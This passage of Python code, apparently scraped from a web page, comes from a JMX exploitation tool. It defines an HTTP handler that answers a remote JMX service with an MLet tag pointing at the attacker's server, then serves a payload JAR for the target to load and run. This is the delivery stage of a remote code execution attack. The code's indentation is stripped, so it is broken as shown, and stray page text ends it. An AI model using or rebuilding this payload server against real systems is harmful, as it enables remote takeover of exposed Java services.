def MakeHandlerClass(base_url):
#This class will handles any incoming request from
#the JMX service
# Needed during installation of the JAR
class CustomHandler(BaseHTTPRequestHandler):
def __init__(self, *args, **kwargs):
self._base_url = base_url
BaseHTTPRequestHandler.__init__(self, *args, **kwargs)
#Handler for the GET requests
def do_GET(self):
if self.path=="/":
mlet_code = '<html><mlet code="de.siberas.lab.SiberasPayload" archive="siberas_mlet.jar" name="Siberas:name=payload,id=1" codebase="' + self._base_url + '"></mlet></html>'
self.send_response(200)
self.send_header('Pragma', 'no-cache')
self.end_headers()
self.wfile.write(mlet_code)
elif self.path=="/siberas_mlet.jar":
f = open("./payloads/siberas_mlet.jar")
self.send_response(200)
self.send_header('Content-type', 'application/jar')
self.end_headers()
self.wfile.write(f.read())
f.close()
else:
self.send_error(404, 'File not found: ' + self.path)
#
# except IOError:
# self.send_error(404,'File Not Found: %s' % self.path)
return CustomHandler
### /INSTALL MODE ###
### UNINSTALL MODE ###
评论列表
文章目录